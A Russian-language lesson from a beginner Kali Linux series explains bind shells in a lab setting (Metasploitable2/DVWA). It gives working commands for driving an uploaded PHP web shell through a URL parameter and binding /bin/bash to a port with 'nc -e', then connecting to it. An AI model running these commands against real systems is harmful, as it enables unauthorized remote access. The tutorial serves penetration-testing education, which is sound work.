#47 Kali Linux для начинающих. Что такое Bind Shell?
Продолжаем рассматривать шеллы, и попробуем расширить доступ еще немного. Давайте проверим, запущен ли в системе netcat. Вводим команду: «http://192.168.119.130/dvwa/hackable/uploads/shell.php?cmd=nc -h»:
Это справка о netcat, а это значит, что он установлен. Он работает фактически на всех линукс системах. Единственное отличие, что Вы можете его заметить в разных дистрибутивах, параметр –e может отличаться:
В нашем случае нам повезло, и данную опцию мы можем использовать. Это важно, и очень скоро Вы узнаете, почему.
В некоторых случаях Вы будете получать доступ к «netcat» без параметра «-e», но это может быть неприятно.
Давайте продолжим повышать доступ к системе. Как видим, «netcat» можно использовать для прослушивания входящего соединения:
Иными словами, я могу использовать «netcat» для прослушивания порта, на котором он стоит. Пропишем в адресной строке url такую команду: «192.168.119.130/dvwa/hackable/uploads/shell.php?cmd=nc -l -p 1234»:
Загрузка страницы не должна завершаться, и это говорит о том, что порт «netcat» работает и прослушивается. Мы можем просканировать данный айпи целевой машины, с помощью инструмента «nmap». Команда будет выглядеть как: «nmap –p 1234 192.168.119.130»:
Порт открыт, как видим из результата сканирования.
Теперь мы можем подключиться к айпи адресу моей цели. Для этого нужно выполнить команду: «nc 192.168.119.130 1234»:
Как видим, ничего не произошло, и мы просто прослушиваем этот порт. На текущем порте ничего не работает, не работает ни один сервис, и это просто открытый порт.
Обратите внимание на то, что нам придется воссоздать полный функционал порта с запущенными сервисами, так как нам необходимо привязать шелл к этому порту, а не просто прослушивать его. Нам нужно иметь доступ к шеллу, при подключении к этому порту.
Нам повезло, и в справке «netcat» мы обнаружили параметр «-e». Давайте еще раз посмотрим на него:
По тексту читаем, что это опасно «dangerous». Так происходит потому, что не только мы можем подключаться к этому порту, что является не безопасным, поэтому будьте осторожны, особенно если занимаетесь этим профессионально. Имейте ввиду, что здесь это не страшно, так как это тестовая лаборатория. Пропишем путь к bash-шеллу: «nc –e /bin/bash –l –p 1234»:
Переходим в терминал, и вновь пытаемся подключиться с помощью прошлой командой:
Отлично. Все работает, и мы получаем вывод.
Обратите внимание, что сейчас у меня есть доступ к неинтерактивному шеллу.
Неинтерактивный шелл – это шелл, который очень хорошо взаимодействует с пользователем, и в нем нет сообщений об ошибках, нет отображения процесса загрузки, нет сообщений, нет полосы загрузки, которая покажет прогресс. Это шелл, который отлично работает, но он ограничен в интерактивности.
Работать с этим шеллом не очень приятно, потому что чаще всего, Вы не понимаете, что делаете, и Вы не получаете ответов от системы.
Вопрос заключается в следующем, как получить или смогу ли я получить доступ к интерактивному шеллу. Этот шелл лучше, он имеет обратную связь. Ответ на вопрос: конечно же да.
Давайте пока подведем итоги того, что мы видели. Мы получили доступ к системе через уязвимость загрузки. Мы смогли загрузить php-скрипт, и запустить через него шелл команды. В шелле, выполнив команды, мы запустили «netcat», открыли порт на машине «Metasploitable2», привязали шелл к этому порту, чтобы он прослушивал входящие соединения. Далее мы использовали «netcat», в нашей системе, чтобы подключиться к этому порту. Это называется bind-шеллом. Конечно, если есть файрволл, который запрещает входящие соединения, тогда наше подключение к порту 1234 было бы безуспешным.
Это частый случай с bind-шеллами, потому что я устанавливаю подключение с моей машины на Kali, до машины цели, и почти любой файрволл увидит входящее соединение с портом 1234 (это странный порт), и не позволит подключение к нему. В итоге моя атака провалится. Вот почему более распространенная форма шеллов называется обратным или reverse shell, и он работает наоборот, по сравнении с bind-шеллом. Вместо того, чтобы пытаться подключиться с моей машины на Kali к машине на Metasploitable2, я заставлю жертву саму устанавливать соединение со мной.
#1 Kali Linux для начинающих. Урок 1 — Основы сетей.
#2 Kali Linux для начинающих. Урок 2 — Горячие клавиши. Часть 1
#3 Kali Linux для начинающих. Урок 2 — Горячие клавиши. Часть 2
#4 Kali Linux для начинающих. Терминал Kali Linux. Часть 1
#5 Kali Linux для начинающих. Терминал Kali Linux. Часть 2
#6 Kali Linux для начинающих. Урок 4 — Root Kali Linux. Часть 1
#7 Kali Linux для начинающих. Root Kali Linux — Часть 2
#8 Kali Linux для начинающих. Основные команды. Часть 1.
#9 Kali Linux для начинающих. Основные команды. Перемещение по директориям. Часть 2.
#10 Kali Linux для начинающих. Основные команды. Создание директорий. Часть 3
#11 Kali Linux для начинающих. Основные команды. Часть 4 — Просмотр содержимого директорий.
#12 Kali Linux для начинающих. Основные команды. Часть 5 — Просмотр содержимого файлов.
#13 Kali Linux для начинающих. Основные команды. Часть 6 — Копируем файлы и директории.
#14 Kali Linux для начинающих. Основные команды. Часть 7 — Перемещаем файлы и директории.
#15 Kali Linux для начинающих. Основные команды. Часть 8 — Удаляем файлы и директории.
#16 Kali Linux для начинающих. Управление пакетами.
#17 Kali Linux для начинающих. Откуда Kali скачивает софт.
#18 Kali Linux для начинающих. Изменения в Kali 2019 относительно APT.
#19 Kali Linux для начинающих. Архивация и сжатие. Часть 1.
#20 Kali Linux для начинающих. Архивация и сжатие. Часть 2.
#21 Kali Linux для начинающих. Архивация и сжатие. Часть 3.
#22 Kali Linux для начинающих. Специальные символы. Часть 1.
#23 Kali Linux для начинающих. Специальные символы. Часть 2
#24 Kali Linux для начинающих. Основы сетей.
#25 Kali Linux для начинающих. Администрирование. Редактирование файлов с помощью Nano.
#26 Kali Linux для начинающих. Превращаем Kali Linux в веб-сервер.
#27 Kali Linux для начинающих. Изменения в файлах конфигурации Kali Linux.
#28 Kali Linux для начинающих. Превращаем Kali Linux в SSH-сервер.
#29 Kali Linux для начинающих. Управление пользователями и группами.
#30 Kali Linux для начинающих. Работаем с правами пользователей.
#31 Kali Linux для начинающих. Разбираемся с процессами.
#32 Kali Linux для начинающих. Управляем процессами.
#33 Kali Linux для начинающих. Перенаправление и контроль вывода.
#34 Kali Linux для начинающих. Объединяем несколько команд в цепочку.
#35 Kali Linux для начинающих. Настраиваем цель.
#36 Kali Linux для начинающих. Сканируем порты с помощью Kali Linux.
#37 Kali Linux для начинающих. Сканируем порты с помощью графического интерфейса.
#38 Kali Linux для начинающих. Взламываем FTP.
#39 Kali Linux для начинающих. Сканируем уязвимости.
#40 Kali Linux для начинающих. Взламываем SSH.
#41 Kali Linux для начинающих. Взламываем веб-сервис.
#42 Kali Linux для начинающих. Взламываем базу данных. Атаки на пароли.
#43 Kali Linux для начинающих. Сниффим пароли.
#44 Kali Linux для начинающих. Повышение прав.
#45 Kali Linux для начинающих. Популярные инструменты. Быстрый обзор.
#46 Kali Linux для начинающих. Разбираемся с базовыми веб-шеллами.